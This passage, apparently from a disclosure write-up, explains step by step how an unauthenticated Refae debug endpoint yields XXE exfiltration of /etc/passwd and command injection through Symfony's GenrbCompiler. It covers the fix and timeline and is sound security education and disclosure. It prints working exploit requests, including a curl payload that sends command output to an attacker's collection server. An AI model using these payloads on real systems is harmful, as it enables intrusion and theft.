These are the same two files as before, with the placeholder <IP> replaced by the real address of the collection server, [redacted], port 8000. Nothing else changed.

The collection-server log shows the two DTD fetches and the exfiltration request:

Text
Serving HTTP on [redacted] port 8000 (http://[redacted]:8000/) ...
[redacted] - - [05/Oct/2026 11:35:02] "GET /stage1.xml HTTP/1.1" 200 -
[redacted] - - [05/Oct/2026 11:35:02] "GET /stage2.xml HTTP/1.1" 200 -
[redacted] - - [05/Oct/2026 11:35:02] "GET /<PASSWD_BASE64> HTTP/1.1" 404 -

Line by line:

  1. The first line is the server starting up, as before.
  2. "GET /stage1.xml HTTP/1.1" 200 means the Refae server fetched the first file. 200 means it was served successfully.
  3. "GET /<PASSWD_BASE64> HTTP/1.1" 404 is the exfiltration. The path after the slash is the encoded content of /etc/passwd. 404 means "not found", which is expected: that path does not exist on the collection server, but the server still logs the attempt, and the attempt is what carries the stolen data.

To recover the <PASSWD_BASE64> token from the exfil request it has to be decoded. The php://filter chain deflates before base64, so the raw stream has to be inflated after decoding:

Bash
echo '<PASSWD_BASE64>' | base64 -d | python -c 'import sys,zlib; sys.stdout.buffer.write(zlib.decompress(sys.stdin.buffer.read(), -15))'

Line by line:

  1. echo '<PASSWD_BASE64>' prints the token, with the placeholder replaced by the real text from the log.
  2. | is a pipe: it takes the output of the command on its left and feeds it as input to the command on its right.
  3. base64 -d decodes base64 back into raw bytes.
  4. | python -c '...' pipes those bytes into a short Python program.
  5. import sys,zlib loads two Python modules: one for input and output, one for compression.
  6. sys.stdout.buffer.write(...) writes the result to the screen as raw bytes.
  7. zlib.decompress(sys.stdin.buffer.read(), -15) takes the input bytes and decompresses them. The -15 tells Python the data was compressed in the raw deflate format, without the usual header, which is what zlib.deflate produces.

The result is the original content of /etc/passwd, recovered on the attacker's machine.

Step 3: RCE with GenrbCompiler

Requests and reads are as far as SimpleXMLElement goes. For command execution the first two conditions stay and the third tightens: the constructor now has to reach a system call. PHP's own classes do not offer that, so the search turned to the ones the application loads itself.

Symfony\Component\Intl\Data\Bundle\Compiler\GenrbCompiler fits. It comes from symfony/intl, a transitive dependency present in a default install, and its constructor is:

PHP
public function __construct(string $genrb = 'genrb', string $envVars = '')
{
    exec('which '.$genrb, $output, $status);

    if (0 !== $status) {
        throw new RuntimeException(sprintf('The command "%s" is not installed.', $genrb));
    }

    $this->genrb = ($envVars ? $envVars.' ' : '').$genrb;
}

A transitive dependency is a piece of software that the application did not ask for directly but that came along because something else needed it, like a tool you borrow from a friend of a friend. symfony/intl is one of those, and it is present in a default install.

Line by line:

  1. public function __construct(string $genrb = 'genrb', string $envVars = '') is the constructor. It takes two pieces of text. The first, $genrb, defaults to genrb if nothing is given; the second, $envVars, defaults to empty.
  2. exec('which '.$genrb, $output, $status); builds a command by gluing the text which in front of whatever was passed as $genrb, and runs it with exec, which runs a program on the operating system. which is a standard command that looks for a program and prints where it is. The result goes into $output, and the exit code, a number saying whether it worked, goes into $status.
  3. if (0 !== $status) { checks whether the command failed. 0 means success in this convention.
  4. throw new RuntimeException(sprintf('The command "%s" is not installed.', $genrb)); raises an error saying the program is not installed.
  5. $this->genrb = ($envVars ? $envVars.' ' : '').$genrb; stores the value for later use, with the environment variables in front if any were given.

It checks that the genrb binary is available by concatenating the supplied path into a which invocation and passing the result to exec(). The value is never escaped, so a first argument beginning with ; closes the which command and starts a new one:

PHP
new GenrbCompiler(';id'); // executes: which ;id

Line by line:

  1. new GenrbCompiler(';id') creates the object, passing ;id as the first argument.
  2. The constructor builds the text which ;id and hands it to the operating system.
  3. In a shell, the semicolon ; separates two commands. So the system sees two commands: which, with nothing after it, and id. The first does nothing useful; the second runs id, a standard command that prints who the current user is.
  4. The comment // executes: which ;id records exactly what the system ends up running.

This is called command injection: the attacker's text is not treated as data but as part of the command itself, because it is glued in without escaping. Escaping means marking special characters so they lose their meaning; here nothing is marked.

The injection is reached in the constructor itself. The second argument, $envVars, is concatenated into $this->genrb with the same lack of escaping and would offer a further injection point, but it is unnecessary here since the first argument already yields execution. The constructor is unchanged across every symfony/intl release the constraint allows (^6.4 || ^7.0 || ^8.0), and it was verified on 6.4, 7.x and 8.0, so the only thing left to establish per instance is the exact version resolved in Refae's composer.lock.

A version constraint like ^6.4 || ^7.0 || ^8.0 is a rule saying which versions of a dependency are acceptable. composer.lock is a file that records the exact version actually installed on a given machine.

In the PoC, the first argument starts with ; and appends a second command that exfiltrates the output of id out of band:

Text
http://fenrisk.lab/public/test-error/throw?classname=Symfony%5CComponent%5CIntl%5CData%5CBundle%5CCompiler%5CGenrbCompiler&params%5B0%5D=%3Bcurl%20-s%20%22http://[redacted]:8000/rce/%24(id%20%7C%20base64%20-w0)%22
Bash
curl -G 'http://fenrisk.lab/public/test-error/throw' \
  --data-urlencode 'classname=Symfony\Component\Intl\Data\Bundle\Compiler\GenrbCompiler' \
  --data-urlencode 'params[0]=;curl -s "http://[redacted]:8000/rce/$(id | base64 -w0)"'

The first block is the request as a URL. It looks unreadable because special characters have been encoded so the URL stays valid. %5C is a backslash, %5B and %5D are the square brackets, %3B is the semicolon, %20 is a space, %22 is a double quote, %24 is a dollar sign, %7C is a vertical bar. Decoded, it says exactly what the second block says.

The second block sends the same request with curl:

  1. curl -G 'http://fenrisk.lab/public/test-error/throw' \ targets the vulnerable page.
  2. --data-urlencode 'classname=Symfony\Component\Intl\Data\Bundle\Compiler\GenrbCompiler' chooses the class. The backslashes separate the parts of the class name, like folders in a file path.
  3. --data-urlencode 'params[0]=;curl -s "http://[redacted]:8000/rce/$(id | base64 -w0)"' is the payload. The leading ; ends the which command. Then curl -s runs a second command: curl fetches a web address, and -s means silent, no progress output. The address is the collection server, with /rce/ followed by $(id | base64 -w0). The $(...) means: run the command inside and put its output here. Inside, id prints the current user, | pipes it into base64 -w0, which encodes it as base64 with no line breaks (-w0 means zero width). So the output of id ends up in the URL path, and the collection server records it.

The collection-server log records the callback carrying the encoded command output:

Text
Serving HTTP on [redacted] port 8000 (http://[redacted]:8000/) ...
[redacted] - - [05/Oct/2026 11:52:47] "GET /rce/<ID_BASE64> HTTP/1.1" 404 -

Line by line:

  1. The first line is the server starting up.
  2. "GET /rce/<ID_BASE64> HTTP/1.1" 404 is the callback. The Refae server fetched a path starting with /rce/, followed by the base64-encoded output of id. 404 again means the path does not exist, which is fine: the data is in the path itself.

Then decode the <ID_BASE64> token to read the command output:

Bash
echo '<ID_BASE64>' | base64 -d

Line by line:

  1. echo '<ID_BASE64>' prints the token from the log.
  2. | base64 -d decodes it back into readable text.

The result is the output of id as it was produced on the Refae server, which proves that arbitrary commands ran there.

Root cause

The mistake is the endpoint itself. TestErrorController::throwException takes classname and params straight from the request and feeds them to new $classname(...$params). The route was never removed from the production route table, and the endpoint is reachable without authentication.

An allow-list is the opposite of a blocklist: instead of forbidding known bad things, you permit only known good ones. Here there is neither: anything goes.

Three kinds of vulnerability that are normally found and reported separately (server-side request forgery, arbitrary file read, remote command execution) are reachable here through one primitive and one unauthenticated GET request, by changing nothing but the value of classname. Class instantiation exposes the whole execution context: every constructor the autoloader can reach becomes a potential gadget, and SSRF, file read and RCE are just the ones that were picked. SimpleXMLElement and GenrbCompiler are simply what the three conditions returned first, and the search stopped once one of them gave command execution. The choice of gadget is an exploitation detail; the fix is not to harden any single class but to remove the endpoint that reaches them freely.

A gadget in this context is a piece of existing code that, when triggered in a particular way, does something useful to an attacker. The attacker does not write new code on the server; they assemble existing pieces.

Impact

An unauthenticated remote attacker can execute arbitrary commands on the machine hosting the Refae web component, with the privileges of the PHP process.

Privileges here means the rights the web server's user account has on the machine. The attacker does not get more than that account can do, but that is already a lot.

The same endpoint yields lesser impacts through other classes: server-side request forgery lets the attacker reach services on the internal network that are not exposed publicly, and arbitrary file read exposes any file accessible to the PHP process. /etc/passwd is only the easiest thing to prove it with; configuration files and secrets are the real target. Both are subsumed by the command execution and do not raise the overall severity.

In the vendor's recommended architecture, the process runs inside a container dedicated to the web service. The immediate compromise is therefore the container: application source, configuration files, environment variables, and any credentials they contain, which typically include the database connection string and the secrets used to reach the other components of the Libriciel suite.

A container is a lightweight, isolated box on a machine, holding one service and its files, a bit like a flat in a building: you can move around inside your flat, but not into the neighbours' flats without another key. A database connection string is the address and password the application uses to talk to its database.

The CVSS 3.1 base score is 9.8 (Critical), CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H. Scope is rated Unchanged: code execution is obtained within the security authority the web process already belonged to. Reaching the database container, the other suite components, or the host itself requires further exploitation.

CVSS is a standard scoring system for vulnerabilities, from 0 to 10. The vector string is the detailed breakdown behind the score. Each part means:

Code Meaning
AV:N Attack Vector: Network, reachable over the internet
AC:L Attack Complexity: Low, no special conditions
PR:N Privileges Required: None, no account needed
UI:N User Interaction: None, no one has to click anything
S:U Scope: Unchanged, the attacker stays within the same security boundary
C:H Confidentiality: High, data can be read
I:H Integrity: High, data can be changed
A:H Availability: High, the service can be disrupted

Fix

None of these impacts can be addressed at the level of a single gadget. Removing GenrbCompiler or restricting SimpleXMLElement would only close the specific paths described; the endpoint would still hand an unauthenticated caller an unconstrained new, and any other reachable constructor would remain a candidate. The vulnerability is the endpoint itself, and the fix has to deny access to it.

Upgrade Refae to version 2.0.3 or later, which removes the endpoint. If upgrading is not immediately possible, block access to /public/test-error/throw at the reverse proxy or WAF level. The endpoint has no functional purpose in production and can be denied outright without affecting the application.

A reverse proxy is a server that sits in front of the application and forwards requests to it, like a receptionist who decides who gets through. A WAF, web application firewall, is a filter that inspects requests and blocks suspicious ones. Blocking the address at either level means the request never reaches the vulnerable code.

The disclosure timeline was as follows:

Date Event
2026-06-02 Vulnerability reported to Libriciel
2026-06-05 CVE request submitted
2026-06-05 Release of Refae 2.0.3 fixing the issue
2026-07-08 CVE-2026-51786 assigned by MITRE
2026-11-27 Public disclosure

A CVE is a public identifier for a known vulnerability, so that everyone talking about it uses the same name. MITRE is the organisation that manages the CVE list.

  • Other PHP built-in classes with URL or file arguments. The same endpoint accepts any autoloadable class, so constructors that fetch a URL or open a file are worth trying. A positive result is an outbound request or a file access visible on a collection server or in the application's behaviour.
  • Other application dependencies with shell-reaching constructors. The GenrbCompiler case shows that a transitive dependency is enough. Grep the dependency tree for constructors that pass a string argument to exec, shell_exec, system or popen without escaping; a positive result is a callback carrying command output.
  • The $envVars argument of GenrbCompiler. The report notes it is concatenated into $this->genrb with the same lack of escaping and would offer a further injection point. A positive result is the same kind of out-of-band callback, reached through the second parameter instead of the first.
  • Other debug or test routes in Symfony applications. Routes named after test or error helpers, registered under a public prefix, are the pattern here. A positive result is a route that accepts a class name, a callback, a template path or a similar selector from the request.

To grep means to search through text for a pattern. The dependency tree is the full list of software the application relies on, including indirect ones.

This kind of bug tends to hide in debug and test scaffolding that ships with production code: controllers whose names mention errors, tests or debugging, routes registered under a public or unauthenticated prefix, and endpoints that exist to exercise error handling or monitoring. During recon, the signals are route names and controller namespaces that look like developer helpers, and endpoints that take a class name, a method name or a callback as a parameter. The report's own reasoning is a useful checklist for triage: does the selected class load without application context, can it be constructed from scalar strings and arrays only, and does its constructor produce a network request, a file access or a system call.

Recon is short for reconnaissance: the phase where you look around and gather information before trying anything. Triage is deciding which findings matter and in what order to handle them.

For impact, the researcher did not rely on reflected output: the endpoint always throws and returns a generic error, so the proof was the out-of-band callback recorded by a collection server, with the Refae host calling back as a distinct address. The SSRF, the two-stage XXE exfiltration of /etc/passwd and the RCE callback carrying id output each produced a log line on that server, which is the evidence a program needs to accept the report.

From the original on fenrisk.com

Glossary

  • Allow-list: a list of things that are permitted, everything else being refused.
  • API: a defined way for one piece of software to talk to another, like a service counter with fixed rules.
  • Arbitrary file read: the ability to read any file the application can access, not just the ones it was meant to show.
  • Autoloader: the part of PHP that finds and loads a class's definition when it is first mentioned.
  • Base64: a way of writing any bytes using only letters, digits and a few symbols, so they can travel safely in a URL or a text field.
  • Callback: an incoming connection made by the target to a machine the attacker controls, used as proof.
  • Class: a blueprint in code describing an object and how to create it.
  • Collection server: a machine the attacker controls that records incoming connections.
  • Command injection: a bug where attacker text is treated as part of a system command instead of as data.
  • Composer.lock: a file recording the exact versions of dependencies installed in a PHP project.
  • Constructor: the code that runs when an object is created from a class.
  • Container: an isolated box on a machine holding one service and its files.
  • CVE: a public identifier for a known vulnerability.
  • CVSS: a standard scoring system for vulnerabilities, from 0 to 10.
  • CWE: a shared dictionary of bug types.
  • Debug endpoint: a page left in an application to help developers test things, which should not be reachable in production.
  • Dependency: a piece of software the application relies on.
  • DTD: Document Type Definition, the part of an XML document that declares entities and rules.
  • Endpoint: a specific address on a website that performs a specific job.
  • Entity (XML): a named placeholder in XML that stands for some content.
  • Escaping: marking special characters so they lose their special meaning.
  • Exfiltration: getting data out of a system to a place the attacker controls.
  • GET request: the simplest kind of web request, with everything in the URL.
  • Gadget: existing code that, triggered in a particular way, does something useful to an attacker.
  • Grep: to search through text for a pattern.
  • libxml: the library PHP uses to read XML.
  • Out-of-band: evidence that travels on a separate channel, not in the response to the attacker.
  • Parameter (URL): a name=value pair after the ? in a URL.
  • PHP: the programming language Refae is written in.
  • Port: a numbered door on a machine through which network services listen.
  • Privileges: the rights an account has on a machine.
  • Primitive: a basic capability that can be combined with others to achieve an attack.
  • RCE (remote code execution): running the attacker's commands on someone else's machine over the network.
  • Recon: gathering information before attacking.
  • Reverse proxy: a server in front of the application that forwards requests to it.
  • Scalar: a simple value such as text, a number, true or false.
  • Scope (CVSS): whether the attack stays within the same security boundary.
  • SSRF (server-side request forgery): making a server send a request on the attacker's behalf.
  • Symfony: a framework, a large collection of ready-made code, used to build PHP applications.
  • Transitive dependency: software that came along because something else needed it.
  • Triage: deciding which findings matter and in what order to handle them.
  • Unauthenticated: without logging in.
  • Version constraint: a rule saying which versions of a dependency are acceptable.
  • WAF (web application firewall): a filter that inspects web requests and blocks suspicious ones.
  • XXE (XML External Entity): an attack where the XML parser is made to fetch and expand an entity pointing at something it should not touch.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.